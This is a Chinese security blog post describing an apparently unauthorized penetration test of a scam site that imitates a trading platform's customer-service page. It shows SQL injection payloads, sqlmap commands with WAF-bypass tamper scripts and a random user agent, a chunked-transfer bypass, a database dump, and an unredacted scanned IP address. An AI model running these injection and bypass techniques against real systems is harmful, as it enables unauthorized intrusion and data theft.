freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

渗透测试 | 骗局仿平台官方客服系统+Sqlmap WAF bypass
David_Jou 2024-09-11 10:10:02 135792

前言

你是否曾被各种“白嫖或者诈骗”活动吸引,却最终发现这只是一场精心策划的骗局?你是否对那些看似“官方”的客服系统充满信任,却不知其中隐藏着巨大的风险?今天我朋友打算在某鱼上把自己闲置的东西卖掉,随后一位小伙私聊了过来,就有了以下的过程

然后通过那个支付截图,我朋友一眼看出了支付截图和联系的客服图片包浆了就发现是骗子,第一种就是白嫖,第二就是以官方名义称有什么阻碍欺骗钱财等,目前暂时不清楚使用的是什么欺骗手法,因为没有进一步和骗子交涉!通过对方发过来的客服地址,扫描二维码之后已经爆红,通常一些灰产行业通常会注册多个备用域名来逃避爆红!

1722145049_66a5d919549a18141544c.png!small?1722145050033

保存二维码,用二维码解码器进行解码拿URL地址,到浏览器打开!

1722145231_66a5d9cfab6e09a2a2838.png!small?1722145232401

在聊天记录当中对方称走转转平台,随后生成的一个客服地址二维码,通过生成的地址中就会以及某平台的缩写拼音作为一个文件名。

http://XXXXX.XXXX.cc/XXXXX.XXXX.XXXX/zz.php?id=1

1722145471_66a5dabf233d4a7a56249.png!small?1722145471951

随后我想了想这类的估计是应该集成了仿其它平台客服页面,我把zz改成了xy,发现确实还有其它伪装成客服的页面,目前应该不止一个。

1722145621_66a5db55efaa114c797f7.png!small?1722145622632

挖掘思路

一、Wappalyzer 指纹识别

Wappalyzer 是一款强大的网站技术识别工具,在漏洞挖掘中,它能提供以下辅助功能:

1. 识别目标网站的技术栈:Wappalyzer 可以识别目标网站使用的各种技术,包括 CMS、框架、库、插件、服务器软件等等。这能帮助你:

  • 了解目标网站的架构和技术细节:这将为你的漏洞挖掘提供重要的信息,帮助你选择合适的攻击手段和攻击目标。
  • 识别潜在的漏洞:不同的技术往往存在不同的漏洞,Wappalyzer 可以帮助你识别目标网站可能存在的漏洞类型。例如,识别到使用了特定版本的 WordPress,就可以针对该版本的已知漏洞进行攻击。
  • 选择合适的攻击工具:不同的攻击工具针对不同的技术,Wappalyzer 可以帮助你选择合适的攻击工具,例如针对 WordPress 网站的漏洞挖掘工具。

2. 识别目标网站使用的安全软件:Wappalyzer 可以识别目标网站使用的安全软件,包括防火墙、入侵检测系统等等。这能帮助你:

  • 了解目标网站的安全防护等级:这将帮助你评估攻击难度,并选择合适的攻击策略。
  • 选择合适的绕过方法:一些安全软件可能存在漏洞,Wappalyzer 可以帮助你识别这些漏洞,并选择合适的绕过方法。

3. 识别目标网站的开发语言和数据库:Wappalyzer 可以识别目标网站使用的开发语言和数据库,例如 PHP、MySQL 等等。这能帮助你:

  • 选择合适的攻击脚本:不同的开发语言和数据库存在不同的漏洞,Wappalyzer 可以帮助你选择合适的攻击脚本,例如针对 PHP 网站的 SQL 注入脚本。

4. 识别目标网站的配置信息:Wappalyzer 可以识别目标网站的配置信息,例如服务器版本、操作系统版本等等。这能帮助你:

  • 了解目标网站的运行环境:这将为你的漏洞挖掘提供重要的信息,例如识别到目标网站使用的是 Windows Server,就可以针对 Windows 系统的漏洞进行攻击。

1722146292_66a5ddf4485db65d8a4b8.png!small?1722146293020

二、目录扫描

发现隐藏的资源和文件:目录扫描可以帮助你发现目标网站中隐藏的目录、文件和资源,例如:

  • 敏感配置信息:.config.ini.txt等文件可能包含网站配置信息、数据库连接信息、API 密钥等敏感信息,泄露这些信息会造成严重的安全风险。
  • 备份文件:.bak.old等备份文件可能包含网站代码、数据库数据等敏感信息,攻击者可以利用这些备份文件恢复网站数据或进行攻击。
  • 源代码文件:.php.js.java等源代码文件可能包含网站逻辑、安全漏洞等信息,攻击者可以利用这些源代码进行漏洞分析和攻击。
  • 其他敏感资源:.zip.rar等压缩文件、.pdf等文档文件可能包含敏感信息。

像下图这种情况访问主域响应不是403就是301重定到其它地方,扫描也没有扫到后台登陆地址。通常扫描类我一般会设置线程,因为这些站可能扫扫就炸了,所以控制线程在一些场景中是比较重要些

1722146636_66a5df4c471a354a40dd5.png!small?1722146636961

三、端口扫描

识别目标主机开放的端口:端口扫描可以识别目标主机开放的端口,这将帮助你:

  • 了解目标主机的服务:不同的端口对应着不同的服务,例如 80 端口对应着 HTTP 服务,22 端口对应着 SSH 服务等等,这将帮助你了解目标主机运行着哪些服务。
  • 识别潜在的漏洞:不同的服务存在不同的漏洞,例如 Web 服务器可能存在跨站脚本漏洞、SQL 注入漏洞等等,识别到目标主机开放的端口可以帮助你识别可能存在的漏洞类型。

在下面的结果中我没有扫描全端口,因为时间太久了,所以默认扫描到了4个端口服务器,21和22都具备着可爆破。

└─$ nmap -Pn XXX.XXX.XXX.XX  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-28 14:01 CST
Nmap scan report for 154.201.65.52
Host is up (0.088s latency).
Not shown: 993 filtered tcp ports (no-response), 3 filtered tcp ports (host-unreach)
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
80/tcp  open  http
888/tcp open  accessbuilder

Nmap done: 1 IP address (1 host up) scanned in 86.86 seconds

四、前端审计

前端审计通常在测试中会做到的一部分,就是要看每个的测试流程,前端审计比如就一个单单的管理系统页面,那么在前端JS代码中可能会发现一些彩蛋,比如:测试账号、接口、测试Token开发遗留在代码中的一些东西等等......在整个过程,包括一些奇奇怪怪的引用参数和URL地址,文件下载地址等,都可以去尝试挖掘。因为它这个是客服系统,后台没找着,所以只能在他们客服系统上瞎溜达!

SQL注入+绕过拦截

好了,前端的模样是这样的,功能也就那么几个,并没太大作用,而且有心跳包,当前页面待久了,就龟速了

http://XXXXXXXX.cc/XXXXX/user_data.php?_=1722147458199

1722147486_66a5e29eceaee3e1d3548.png!small?1722147487952

然后我只能将目标转为二维码解码的地址,每个防的平台地址后都带了ID这个参,所以试一试SQL注入吧

http://XXXX.XXXX.cc/XXXXX.XXXXX.XXXXX/zz.php?id=1'and'1'='1

显示正常,页面那些都是可以访问

1722148170_66a5e54a4af52ce0fa385.png!small?1722148171092

/zz.php?id=1'and'1'='2就跳转到百度了,目前是不管什么方式都是跳百度。

1722148194_66a5e56282251d4c8132a.png!small?1722148195540

为了不放过这个点,我直接使用SQLmap去跑一遍,看看有没有洞!

python3 sqlmap.py -r 123.txt -p id --batch --level 3 --dbs

1722158754_66a60ea2a5e4ec9f91a38.png!small?1722158754743

看到WAF那里出现了警告,而且还有超时,这里可能就是大概被拦截掉了。这时候就用SQLMAP自带的功能:

python3 sqlmap.py -r 123.txt -p id --batch --level 3 --dbs --tamper=randomcase,between,bluecoat
  • --tamper=randomcase,between,bluecoat:指定使用 randomcasebetween和 bluecoat三种 Tamper 脚本对注入 payload 进行修改,尝试绕过 WAF 防护。

Tamper 脚本解释:

  • randomcase:将 SQL 语句中的关键字随机大小写转换,例如 SELECT可以变成 SeLeCt或 sElEcT
  • between:将 SQL 语句中的 >替换为 NOT BETWEEN 0 AND,例如 id > 1可以变成 id NOT BETWEEN 0 AND 1
  • bluecoat:将 SQL 语句中的空格替换为 %09(水平制表符),尝试绕过 BlueCoat WAF 防护。

就是时间比较久一些,如果使用了tamper等级可以稍微降一降要不然真的是要很久,这里成功绕过了拦截!

1722158995_66a60f934c2853664639f.png!small?1722158995373

第二处的SQL注入也是ID参:然后发现当前客服发送的内容通过POST请求  -  http://XXXXXXX.cc/XXXXX.XXXXX.XXXXXX/postzz.php进行发送,cont=111为内容 id=1为当前页面

1722159655_66a61227e57f70ae6daec.png!small?1722159656270

POST /XXXXXX.XXXXXXXX.XXXXXX/post.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 55
Origin: 
Connection: close
Referer: 
Cookie: PHPSESSID=d7o5a8e599h8mscec2gmbksuv5
Priority: u=0

cont=%E9%97%AE%E4%BD%A0%E5%9C%A8%E4%B8%8D%E5%9C%A8&id=1

ID存在字符检测,SLEEP这类的都会进行检测。

1722148910_66a5e82e7a352411d588a.png!small?1722148911293

但是1' or SLEEP(3)-- 嘿,你看怎么招,存在延迟,你说过分不过分,但是当前非法操作被记录!

1722149269_66a5e995d373f6a0cb6a1.png!small?1722149270947

如果是用手工测试的话,利用这个分块传输来绕过,当前的非法检测就变成了正常操作。

1722154067_66a5fc53cc73c5363b720.png!small?1722154068708

这个也是通过SQLMAP的自带的来修改Payload特征绕过拦截,而且这里还控制了线程,过程就是比较慢一些:

python3 sqlmap.py -r 456.txt -p id --batch --level 5 --dbs --threads=1 --random-agent --technique=T --tamper=charencode
  • --random-agent:使用随机 User-Agent 请求头,以隐藏攻击者的身份。
  • --technique=T:指定使用所有可用的 SQL 注入技术进行测试,T代表 Time,表示时间型盲注。
  • --tamper=charencode:指定使用 charencodeTamper 脚本对注入 payload 进行修改,来绕过。

1722186031_66a6792fbc4b1cdcb839a.png!small?1722186032178

通过读取管理用户列表从最新的添加用户来看,违法活动已经持续有一个多月。

1722179741_66a6609d8f0a2b7f277c1.png!small?1722179741906

而且在数据库中还发现以Telegram账号为用户名,这种带广告的不是自己干的就是把平台出租给其它人。

1722174228_66a64b14155f37cbabc39.png!small?1722174228281

然后想了想,有没有什么办法在朔一朔,通常在一些数据库中会有后台管理系统的登陆IP地址,但是目标系统是空的!

1722185620_66a677943a28c209b562e.png!small?1722185621468

然后想了想看看数据库有没有权限写个Shell什么的,发现是USAGE权限,通常表示用户存在于数据库中,但没有任何其他权限(例如 SELECT、INSERT、UPDATE、DELETE 等),所以G了。

1722185859_66a678830e2d9a9a7a610.png!small?1722185859630

结束

通过上面的漏洞挖掘并没有发现太多的问题,因为这个系统被二开过,我找到了相关的源码配置几乎不大,但是和公开的数据库多了两列表,应该是有改动的,目前的话就是一些交流过的IP地址其它,暂时整个数据库中没有发现有用的,后台地址路径被改过,主域名中带了二级目录,二级目录使用长字母进行分段比如:aaaaa.bbbb.cccc/zz.php,想扫描几乎很费时间,只有通过解二维码才知道的页面的地址,要不然确实挺难发现,后台管理系统没发现也正常,后台地址估计都改得老长了。

# 渗透测试 # web安全 # 漏洞分析 # 网络安全技术 # 灰产圈
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 David_Jou 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
David_Jou LV.4
仗剑走马 高歌天涯 待到年华垂垂老去时 与他携手归隐去最初见时的地方 夕阳鸿雁 飞花庭院 大概这是他所期待的一生吧
  • 33 文章数
  • 38 关注者
揭秘APT38(Lazarus Group):从索尼影业到ByBit的网络掠夺之路
2025-03-19
UTF-16LE编码与.Bat文件:探讨混淆技术逃避检测
2024-12-10
揭秘Gamaredon APT的精准攻击:针对乌克兰调查局的网络钓鱼与多阶段攻击
2024-12-07
文章目录